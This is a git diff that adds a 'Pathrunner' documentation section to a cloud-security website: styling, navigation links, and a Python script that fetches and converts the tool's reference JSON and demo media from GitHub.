+        #detail-content a.pr-list-item { border: 1px solid var(--border-color); }
+        #detail-content a.pr-list-item:hover { border-color: var(--accent-purple); }
+        #detail-content a.pr-xref { border: 1px solid var(--accent-purple); }
+        #detail-content a.pr-xref:hover { border-color: var(--accent-purple); }
+        .pr-list-item-name {
+            font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
+            font-weight: 700; color: var(--text-primary); font-size: 0.95rem;
+            word-break: break-word;
+        }
+        .pr-list-item-sub { color: var(--text-muted); font-size: 0.82rem; margin-top: 4px; line-height: 1.45; }
+        .pr-badge {
+            display: inline-block; font-size: 0.72rem; font-weight: 600;
+            padding: 2px 8px; border-radius: 999px; margin: 6px 6px 0 0;
+            background: var(--background-elevated); color: var(--text-muted);
+            border: 1px solid var(--border-color);
+        }
+
+        /* Detail entry (cloudfox-style) */
+        .pr-breadcrumb { font-size: 0.85rem; color: var(--text-muted); margin-bottom: 14px; }
+        .pr-breadcrumb a { color: var(--accent-color); text-decoration: none; }
+        .pr-breadcrumb a:hover { text-decoration: underline; }
+        .pr-detail h1 {
+            font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
+            font-size: 1.5rem; color: var(--text-primary); margin: 0 0 6px; word-break: break-word;
+        }
+        .pr-detail h2 {
+            font-size: 1.1rem; color: var(--text-primary);
+            margin: 28px 0 10px; border-bottom: 1px solid var(--border-color); padding-bottom: 6px;
+        }
+        .pr-detail h3 {
+            font-size: 0.95rem; color: var(--text-secondary, var(--text-muted)); margin: 18px 0 8px;
+            font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
+        }
+        .pr-meta-table, .pr-opt-table {
+            width: 100%; border-collapse: collapse; margin: 10px 0; font-size: 0.88rem;
+        }
+        .pr-meta-table th, .pr-meta-table td,
+        .pr-opt-table th, .pr-opt-table td {
+            text-align: left; padding: 8px 12px; border: 1px solid var(--border-color);
+            vertical-align: top; color: var(--text-primary);
+        }
+        .pr-meta-table th { width: 170px; color: var(--text-muted); font-weight: 600; background: var(--background-elevated); }
+        .pr-opt-table th { background: var(--background-elevated); color: var(--text-muted); font-weight: 600; }
+        .pr-detail p, .pr-detail li { color: var(--text-primary); line-height: 1.6; }
+        .pr-detail code, .pr-mono {
+            font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
+            background: var(--code-background); padding: 1px 6px; border-radius: 4px; font-size: 0.86em;
+        }
+        .pr-detail pre {
+            background: var(--code-background); border: 1px solid var(--border-color);
+            border-radius: 8px; padding: 14px 16px; overflow-x: auto; line-height: 1.5;
+        }
+        .pr-detail pre code { background: none; padding: 0; }
+        .pr-perm-li { margin-bottom: 6px; }
+        .pr-xref {
+            display: inline-flex; align-items: center; gap: 6px;
+            margin: 0; padding: 8px 14px; border-radius: 8px;
+            border: 1px solid var(--accent-purple); color: var(--accent-color);
+            text-decoration: none; font-weight: 600; font-size: 0.86rem;
+            transition: background 0.12s, color 0.12s;
+        }
+        .pr-xref:hover { background: var(--accent-purple); color: #fff; }
+
+        /* ── Panels (labs-style cards so content is never bare on the page bg) ── */
+        .pr-panel {
+            background: var(--card-background);
+            border: 1px solid var(--border-color);
+            border-radius: 12px;
+            padding: 20px 22px;
+            margin: 0 0 16px;
+        }
+        /* Scoped above .pr-detail h2 so the panel heading has no rule or big top gap. */
+        .pr-detail .pr-panel-title {
+            font-size: 1.15rem; font-weight: 700; color: var(--text-primary);
+            margin: 0 0 14px; border-bottom: none; padding-bottom: 0;
+        }
+        /* Cards nested inside a panel drop to the elevated (inset) bg for contrast;
+           on the section pages the same cards sit on the page bg and stay lighter. */
+        .pr-panel .pr-list-item { background: var(--background-elevated); }
+        .pr-panel .pr-opt-table { margin: 0; }
+        .pr-panel .pr-opt-table th { background: var(--background-elevated); }
+
+        /* Module detail header */
+        .pr-module-id {
+            font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
+            font-size: 1.6rem; font-weight: 800; color: var(--text-primary); margin: 0;
+        }
+        .pr-module-name {
+            color: var(--text-secondary, var(--text-muted)); font-size: 1rem; margin-top: 4px;
+        }
+        .pr-meta-grid {
+            display: grid; grid-template-columns: repeat(auto-fit, minmax(170px, 1fr));
+            gap: 14px 26px; margin: 18px 0 0;
+        }
+        .pr-meta-grid > div { min-width: 0; }
+        .pr-meta-grid dt {
+            font-size: 0.72rem; text-transform: uppercase; letter-spacing: 0.07em;
+            color: var(--text-muted); margin-bottom: 4px; font-weight: 700;
+        }
+        .pr-meta-grid dd { margin: 0; color: var(--text-primary); font-size: 0.9rem; word-break: break-word; }
+        .pr-xref-row { display: flex; flex-wrap: wrap; gap: 10px; margin-top: 20px; }
+
+        /* Subcommand cards inside the Subcommands panel */
+        .pr-subcmd {
+            background: var(--background-elevated);
+            border: 1px solid var(--border-color);
+            border-radius: 10px;
+            padding: 14px 16px;
+            margin-bottom: 12px;
+        }
+        .pr-subcmd:last-child { margin-bottom: 0; }
+        .pr-subcmd > h3:first-child { margin-top: 0; }
+        .pr-subcmd .pr-subcmd { margin-left: 14px; margin-top: 12px; background: var(--card-background); }
+
+        /* Getting Started guide (rendered from getting-started.md) */
+        .pr-guide h1 {
+            font-family: inherit; font-size: 1.9rem; font-weight: 800;
+            color: var(--text-primary); margin: 0 0 10px;
+        }
+        .pr-guide .pr-panel > h1 + p { margin-top: 0; color: var(--text-secondary, var(--text-muted)); font-size: 1.02rem; }
+        .pr-guide h3 {
+            font-family: inherit; font-size: 1rem; font-weight: 700;
+            color: var(--text-primary); margin: 20px 0 8px;
+        }
+        .pr-guide .pr-panel > *:first-child { margin-top: 0; }
+        .pr-guide p { margin: 0 0 12px; line-height: 1.65; }
+        .pr-guide ul, .pr-guide ol { margin: 10px 0; padding-left: 22px; }
+        .pr-guide li { margin-bottom: 9px; line-height: 1.6; }
+        .pr-guide pre { margin: 12px 0; }
+        .pr-gif-wrap { margin: 10px 0 18px; }
+        .pr-gif { display: block; max-width: 100%; border: 1px solid var(--border-color); border-radius: 8px; }
+        .pr-video { display: block; width: 100%; max-width: 100%; border: 1px solid var(--border-color); border-radius: 8px; background: #000; }
+        .pr-gif-replay {
+            margin-top: 8px; padding: 5px 12px; font-size: 0.8rem; font-weight: 600;
+            cursor: pointer; border-radius: 7px; border: 1px solid var(--border-color);
+            background: var(--card-background); color: var(--text-primary);
+            transition: background 0.12s, border-color 0.12s, color 0.12s;
+        }
+        .pr-gif-replay:hover { background: var(--accent-purple); color: #fff; border-color: var(--accent-purple); }
+
+        /* ── CLI workflow: a terminal-style, copy-pastable command block ── */
+        .pr-cli { position: relative; }
+        .pr-cli-copy {
+            position: absolute; top: 10px; right: 10px; z-index: 1;
+            padding: 5px 12px; font-size: 0.78rem; font-weight: 600; cursor: pointer;
+            border-radius: 7px; border: 1px solid var(--border-color);
+            background: var(--card-background); color: var(--text-primary);
+            transition: background 0.12s, border-color 0.12s, color 0.12s;
+        }
+        .pr-cli-copy:hover { background: var(--accent-purple); color: #fff; border-color: var(--accent-purple); }
+        .pr-cli-copy.pr-cli-copied { background: var(--accent-color); color: #fff; border-color: var(--accent-color); }
+        .pr-cli-body {
+            background: var(--code-background); border: 1px solid var(--border-color);
+            border-radius: 8px; padding: 16px 18px; margin: 0; overflow-x: auto;
+            font-family: ui-monospace, SFMono-Regular, Menlo, monospace;
+            font-size: 0.86rem; line-height: 1.7;
+        }
+        .pr-cli-body code { background: none; padding: 0; font-size: inherit; }
+        .pr-cli-line { display: block; white-space: pre; }
+        .pr-cli-prompt { color: var(--text-muted); user-select: none; -webkit-user-select: none; }
+        .pr-cli-bin { color: var(--text-muted); }
+        .pr-cli-verb { color: var(--accent-color); font-weight: 600; }
+        .pr-cli-arg { color: var(--text-primary); }
+        .pr-cli-opt { color: var(--accent-blue); font-weight: 600; }
+        .pr-cli-val { color: var(--text-secondary, var(--text-primary)); }
+        /* The final `exploit` step: set apart with a divider and a cautionary hue. */
+        .pr-cli-fire {
+            margin-top: 8px; padding-top: 10px;
+            border-top: 1px dashed var(--border-color);
+        }
+        .pr-cli-fire .pr-cli-verb { color: var(--danger-color); }
+        .pr-cli-comment { color: var(--text-muted); font-style: italic; }
+        .pr-cli-note {
+            margin: 12px 0 0; font-size: 0.82rem; color: var(--text-muted); line-height: 1.5;
+        }
+
+        .pr-empty { color: var(--text-muted); font-style: italic; }
+        .pr-tag-strong {
+            display: inline-block; font-size: 0.74rem; font-weight: 600;
+            padding: 2px 9px; border-radius: 999px; margin: 0 6px 6px 0;
+            background: var(--accent-purple); color: #fff;
+        }
+        .loading { padding: 40px; text-align: center; color: var(--text-muted); }
+    </style>
+
+    <main class="container">
+        <!-- List view: hero + search + cards, OR section/search listings -->
+        <div id="list-view">
+            <div id="pr-landing"></div>
+            <div id="pr-results"></div>
+        </div>
+
+        <!-- Detail view: a single command / module / payload / getting-started -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathrunner" target="_blank" rel="noopener noreferrer">pathrunner on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script src="/js/pathrunner.js?v=8"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=2"></script>
+</body>
+</html>
diff --git a/docs/paths/index.html b/docs/paths/index.html
index 3db22a06..cd7edb9c 100644
--- a/docs/paths/index.html
+++ b/docs/paths/index.html
@@ -94,6 +94,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -152,6 +153,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -200,6 +209,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
diff --git a/docs/paths/stats/index.html b/docs/paths/stats/index.html
index 7e9d66ed..af492dee 100644
--- a/docs/paths/stats/index.html
+++ b/docs/paths/stats/index.html
@@ -434,6 +434,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -492,6 +493,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -540,6 +549,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
diff --git a/pr_guide.png b/pr_guide.png
new file mode 100644
index 00000000..0bfd0dbd
Binary files /dev/null and b/pr_guide.png differ
diff --git a/scripts/generate-pathrunner-json.py b/scripts/generate-pathrunner-json.py
new file mode 100644
index 00000000..08deec99
--- /dev/null
+++ b/scripts/generate-pathrunner-json.py
@@ -0,0 +1,525 @@
+#!/usr/bin/env python3
+"""
+Pulls the pathrunner reference artifact (pathrunner-reference.json) from the
+DataDog/pathrunner repo and converts it into the data files the pathfinding.cloud
+website consumes.
+
+pathrunner is the source of truth: its `cmd/gendocs` binary generates
+docs/reference/pathrunner-reference.json and commits it. This script PULLS that
+artifact (one-directional, read-only), mirroring scripts/generate-labs-json.py.
+
+Produces:
+  docs/pathrunner.json                     -- Lightweight index (counts + summaries
+                                              for landing page, sidebar, and search)
+  docs/pathrunner/data/commands/{name}.json -- Full per-command detail (lazy-loaded)
+  docs/pathrunner/data/modules/{id}.json    -- Full per-module detail (lazy-loaded)
+  docs/pathrunner/data/payloads/{slug}.json -- Full per-payload detail (lazy-loaded)
+  docs/pathrunner/gifs/{name}.{gif,webm}    -- Demo media (command GIFs + per-module
+                                              WebM videos), when present (optional)
+
+Usage:
+    # Fetch from GitHub (default - for CI/CD)
+    python generate-pathrunner-json.py
+
+    # Read from local clone (for development)
+    python generate-pathrunner-json.py --source-dir ../pathrunner
+"""
+
+import argparse
+import base64
+import json
+import os
+import re
+import shutil
+import sys
+from pathlib import Path
+
+import requests
+
+
+GITHUB_OWNER = "DataDog"
+GITHUB_REPO = "pathrunner"
+
+# Location of the generated artifact and media inside the pathrunner repo.
+REFERENCE_PATH = "docs/reference/pathrunner-reference.json"
+GIFS_DIR = "docs/reference/gifs"
+
+# The schemaVersion major we understand. A different major means the artifact
+# shape changed incompatibly and this script must be updated before it is trusted.
+SUPPORTED_SCHEMA_MAJOR = 1
+
+# Output locations (relative to repo root; main() chdirs there).
+INDEX_OUTPUT = "docs/pathrunner.json"
+DATA_ROOT = Path("docs/pathrunner/data")
+GIFS_OUTPUT = Path("docs/pathrunner/gifs")
+
+# Cross-reference source: the labs index, built by generate-labs-json.py. Must run
+# AFTER that script so module pages can deep-link to a matching lab.
+LABS_INDEX = "docs/labs.json"
+
+
+# --------------------------------------------------------------------------- #
+# Fetching the artifact (GitHub API or local clone)
+# --------------------------------------------------------------------------- #
+
+def build_github_headers(github_token=None):
+    """Build the GitHub API request headers, adding auth when a token is set."""
+    headers = {
+        "Accept": "application/vnd.github+json",
+        "X-GitHub-Api-Version": "2022-11-28",
+    }
+    if github_token:
+        headers["Authorization"] = f"Bearer {github_token}"
+    return headers
+
+
+def fetch_github_raw_file(file_path, headers):
+    """Fetch a raw text file from the pathrunner repo via the Contents API."""
+    url = (
+        f"https://api.github.com/repos/{GITHUB_OWNER}/{GITHUB_REPO}"
+        f"/contents/{file_path}"
+    )
+    response = requests.get(url, headers=headers, timeout=30)
+    if response.status_code != 200:
+        return None
+
+    content_data = response.json()
+    content_bytes = base64.b64decode(content_data["content"])
+    return content_bytes.decode("utf-8")
+
+
+def fetch_github_dir_listing(dir_path, headers):
+    """List the files in a directory of the pathrunner repo via the Contents API.
+
+    Returns a list of (name, download_url) tuples, or an empty list if the
+    directory does not exist (the GIFs dir is optional and may be absent).
+    """
+    url = (
+        f"https://api.github.com/repos/{GITHUB_OWNER}/{GITHUB_REPO}"
+        f"/contents/{dir_path}"
+    )
+    response = requests.get(url, headers=headers, timeout=30)
+    if response.status_code != 200:
+        return []
+
+    listing = response.json()
+    if not isinstance(listing, list):
+        return []
+
+    return [
+        (item["name"], item["download_url"])
+        for item in listing
+        if item.get("type") == "file"
+        and (item["name"].endswith(".gif") or item["name"].endswith(".webm"))
+    ]
+
+
+def load_reference(source_dir, headers):
+    """Load the pathrunner reference artifact from a local clone or GitHub."""
+    if source_dir:
+        reference_file = Path(source_dir) / REFERENCE_PATH
+        if not reference_file.exists():
+            print(f"Error: reference artifact not found at {reference_file}")
+            sys.exit(1)
+        print(f"Reading reference artifact from {reference_file}")
+        return json.loads(reference_file.read_text(encoding="utf-8"))
+
+    print(
+        f"Fetching reference artifact from GitHub: "
+        f"{GITHUB_OWNER}/{GITHUB_REPO}/{REFERENCE_PATH}"
+    )
+    raw = fetch_github_raw_file(REFERENCE_PATH, headers)
+    if raw is None:
+        print(
+            f"Error: could not fetch {REFERENCE_PATH} from "
+            f"{GITHUB_OWNER}/{GITHUB_REPO} (repo private, missing, or rate-limited)"
+        )
+        sys.exit(1)
+    return json.loads(raw)
+
+
+def make_gif_play_once(gif_path):
+    """Strip the NETSCAPE2.0 looping extension so the GIF plays once, not forever.
+
+    VHS/ffmpeg GIFs embed a NETSCAPE2.0 application-extension block that sets an
+    infinite loop count. Removing that block (pure stdlib byte surgery, no
+    re-encode) makes the animation play a single time. Safe and idempotent: if the
+    signature is absent (already stripped, or an unusual encoder) the file is left
+    untouched.
+    """
+    try:
+        data = gif_path.read_bytes()
+        signature = b"\x21\xFF\x0BNETSCAPE2.0"
+        start = data.find(signature)
+        if start == -1:
+            return  # No loop extension -> already plays once.
+        # Walk the data sub-blocks after the 14-byte header to the 0x00 terminator.
+        cursor = start + len(signature)
+        while cursor < len(data) and data[cursor] != 0x00:
+            cursor += 1 + data[cursor]
+        if cursor >= len(data):
+            return  # Malformed; leave the file as-is rather than corrupt it.
+        block_end = cursor + 1  # include the terminating 0x00
+        gif_path.write_bytes(data[:start] + data[block_end:])
+    except OSError:
+        return
+
+
+def copy_gifs(source_dir, headers):
+    """Copy command and per-module demo media into the web root, tolerating missing dirs.
+
+    Command demos live in docs/reference/gifs/ as GIFs (e.g. search.gif,
+    modules-list.gif); per-module demos live in docs/reference/gifs/modules/ and
+    are now WebM videos (<id>.webm) so the site can offer scrub/pause/seek
+    controls. Both are flattened into docs/pathrunner/gifs/ -- module ids
+    (lambda-001) never collide with command names.
+
+    The output directory is wiped first so media deleted upstream (e.g. the old
+    per-module GIFs, now replaced by WebM) does not linger as orphans. Returns a
+    {stem: extension} map (e.g. {"ec2-001": "webm", "search": "gif"}) so detail
+    rendering knows both which entries have a demo and how to embed it.
+    """
+    # Wipe and recreate so stale media (old .gif modules, renamed commands) is
+    # not left behind -- the media set is regenerated in full on every run.
+    if GIFS_OUTPUT.exists():
+        shutil.rmtree(GIFS_OUTPUT)
+    GIFS_OUTPUT.mkdir(parents=True, exist_ok=True)
+    published = {}  # stem -> extension (without the dot)
+
+    # Top-level command media, then the per-module media subdirectory.
+    media_dirs = [GIFS_DIR, f"{GIFS_DIR}/modules"]
+    media_globs = ("*.gif", "*.webm")
+
+    if source_dir:
+        for rel in media_dirs:
+            local_dir = Path(source_dir) / rel
+            if not local_dir.exists():
+                continue
+            for pattern in media_globs:
+                for media in sorted(local_dir.glob(pattern)):
+                    dest = GIFS_OUTPUT / media.name
+                    shutil.copy2(media, dest)
+                    if dest.suffix == ".gif":
+                        make_gif_play_once(dest)
+                    published[media.stem] = media.suffix.lstrip(".")
+    else:
+        for rel in media_dirs:
+            for name, download_url in fetch_github_dir_listing(rel, headers):
+                response = requests.get(download_url, timeout=30)
+                if response.status_code == 200:
+                    dest = GIFS_OUTPUT / name
+                    dest.write_bytes(response.content)
+                    if dest.suffix == ".gif":
+                        make_gif_play_once(dest)
+                    published[Path(name).stem] = Path(name).suffix.lstrip(".")
+
+    if published:
+        print(f"Published {len(published)} demo media file(s)")
+    else:
+        print("No demo media found (skipping)")
+    return published
+
+
+# --------------------------------------------------------------------------- #
+# Validation and transforms
+# --------------------------------------------------------------------------- #
+
+def check_schema_version(reference):
+    """Fail loudly if the artifact's schema major version is unsupported."""
+    generator = reference.get("generator", {})
+    schema_version = generator.get("schemaVersion", "")
+    if not schema_version:
+        print("Error: reference artifact is missing generator.schemaVersion")
+        sys.exit(1)
+
+    major = schema_version.split(".")[0]
+    if major != str(SUPPORTED_SCHEMA_MAJOR):
+        print(
+            f"Error: unsupported schemaVersion {schema_version!r} "
+            f"(this script supports major version {SUPPORTED_SCHEMA_MAJOR}.x). "
+            f"Update generate-pathrunner-json.py before trusting this artifact."
+        )
+        sys.exit(1)
+
+    print(f"Reference schemaVersion {schema_version} (supported)")
+
+
+def slugify(value):
+    """Slugify a payload name/qualifiedName for safe filenames and URL routes.
+
+    Payload names contain '/' (e.g. 'exfil/response') and qualifiedNames contain
+    ':' (e.g. 'lambda:exfil/response'), so raw values cannot be used as path
+    segments. Collapse any run of non-alphanumeric characters to a single '-'.
+    """
+    slug = re.sub(r"[^a-zA-Z0-9]+", "-", value).strip("-").lower()
+    return slug
+
+
+def build_lab_lookup():
+    """Map a pathfinding.cloud path id -> lab slug, from the labs index.
+
+    Matches on both the lab slug (e.g. 'lambda-001') and its pathfindingCloudId
+    (frequently null for CTF/other labs), so a module can deep-link to a lab when
+    one exists. Missing labs index is tolerated (returns empty).
+    """
+    labs_file = Path(LABS_INDEX)
+    if not labs_file.exists():
+        print(
+            f"Warning: {LABS_INDEX} not found; module pages will have no lab "
+            f"links. Run generate-labs-json.py first."
+        )
+        return {}
+
+    labs = json.loads(labs_file.read_text(encoding="utf-8"))
+    lookup = {}
+    for lab in labs:
+        slug = lab.get("slug")
+        if not slug:
+            continue
+        cloud_id = lab.get("pathfindingCloudId")
+        if cloud_id:
+            lookup.setdefault(cloud_id, slug)
+        # A lab slug that is itself a path id (e.g. 'lambda-001') also joins.
+        lookup.setdefault(slug, slug)
+    return lookup
+
+
+def iter_commands(commands, parent_path=""):
+    """Yield top-level commands (subcommands are kept nested in the detail)."""
+    for command in commands:
+        yield command
+
+
+# --------------------------------------------------------------------------- #
+# Output writing
+# --------------------------------------------------------------------------- #
+
+def resolve_module_payloads(module_payloads, services, primary_service, payloads_by_name):
+    """Enrich a module's compatible payloads with the concrete payload they map to.
+
+    A module lists payloads by unqualified name (e.g. "backdoor/attach-policy").
+    The same name exists for many services; the one this module actually uses is
+    the variant whose service the module runs on. Prefer the primary service, then
+    any of the module's services. When a variant is found, carry its slug (for
+    linking), qualifiedName, service, and tags; otherwise leave slug null so the
+    frontend shows a non-linked chip.
+    """
+    service_set = set(services)
+    enriched = []
+    for payload in module_payloads:
+        name = payload.get("name", "")
+        resolved = {"name": name, "description": payload.get("description", "")}
+        candidates = payloads_by_name.get(name, [])
+        match = (
+            next((c for c in candidates if c["service"] == primary_service), None)
+            or next((c for c in candidates if c["service"] in service_set), None)
+        )
+        if match:
+            resolved["slug"] = match["slug"]
+            resolved["qualifiedName"] = match["qualifiedName"]
+            resolved["service"] = match["service"]
+            resolved["tags"] = match["tags"]
+        else:
+            resolved["slug"] = None
+        enriched.append(resolved)
+    return enriched
+
+
+def write_json(path, data):
+    path.parent.mkdir(parents=True, exist_ok=True)
+    with open(path, "w", encoding="utf-8") as f:
+        json.dump(data, f, indent=2)
+
+
